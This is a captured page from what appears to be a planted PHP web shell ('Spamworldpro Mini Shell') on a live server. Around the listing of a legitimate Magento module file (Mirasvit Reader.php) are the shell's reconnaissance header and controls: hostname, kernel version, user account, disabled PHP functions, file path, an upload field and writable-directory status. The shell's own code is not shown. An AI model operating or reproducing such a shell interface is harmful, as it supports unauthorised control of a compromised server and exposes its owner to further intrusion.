Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mirasvit/module-report-api/src/ReportApi/Config/Loader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mirasvit/module-report-api/src/ReportApi/Config/Loader/Reader.php
<?php
/**
 * Mirasvit
 *
 * This source file is subject to the Mirasvit Software License, which is available at https://mirasvit.com/license/.
 * Do not edit or add to this file if you wish to upgrade the to newer versions in the future.
 * If you wish to customize this module for your needs.
 * Please refer to http://www.magentocommerce.com for more information.
 *
 * @category  Mirasvit
 * @package   mirasvit/module-report-api
 * @version   1.0.64
 * @copyright Copyright (C) 2023 Mirasvit (https://mirasvit.com/)
 */



namespace Mirasvit\ReportApi\Config\Loader;

use Magento\Framework\Config\FileResolverInterface;
use Magento\Framework\Config\Reader\Filesystem;
use Magento\Framework\Config\ValidationStateInterface;

/**
 * Loads reports configuration from XML file by merging them together
 */
class Reader extends Filesystem
{
    /**
     * Mapping XML name nodes
     * @var array
     */
    protected $_idAttributes
        = [
            '/config/(table|eavTable|relation)' => 'name',
            '/config/(table|eavTable)/column'   => 'name',
        ];

    /**
     * Reader constructor.
     * @param FileResolverInterface $fileResolver
     * @param Converter $converter
     * @param SchemaLocator $schemaLocator
     * @param ValidationStateInterface $validationState
     * @param string $fileName
     * @param array $idAttributes
     * @param string $domDocumentClass
     * @param string $defaultScope
     */
    public function __construct(
        FileResolverInterface $fileResolver,
        Converter $converter,
        SchemaLocator $schemaLocator,
        ValidationStateInterface $validationState,
        $fileName = 'mst_report.xml',
        $idAttributes = [],
        $domDocumentClass = 'Magento\Framework\Config\Dom',
        $defaultScope = 'global'
    ) {
        parent::__construct(
            $fileResolver,
            $converter,
            $schemaLocator,
            $validationState,
            $fileName,
            $idAttributes,
            $domDocumentClass,
            $defaultScope
        );
    }

    /**
     * Load configuration scope
     * @param string|null $scope
     * @return array
     */
    public function read($scope = null)
    {
        $scope    = $scope ? : $this->_defaultScope;
        $fileList = $this->getFiles($scope);

        if (!count($fileList)) {
            return [];
        }
        $output = $this->_readFiles($fileList);

        return $output;
    }

    /**
     * @param string|null $scope
     * @return string[]
     */
    public function getFiles($scope)
    {
        $result = $this->_fileResolver->get($this->_fileName, $scope);
        if (!is_array($result) && is_object($result)) {
            $result = method_exists($result, 'toArray') ? $result->toArray() : [];
        }
        
        $primary = [];

        foreach ($result as $key => $value) {
            if (strpos($key, '/Report/') !== false) {
                $primary[$key] = $value;
                unset($result[$key]);
                break;
            }
        }

        foreach ($result as $key => $value) {
            if (strpos($key, '/Reports/') !== false) {
                $primary[$key] = $value;
                unset($result[$key]);
                break;
            }
        }

        $result = array_merge($primary, $result);

        return $result;
    }
}

Spamworldpro Mini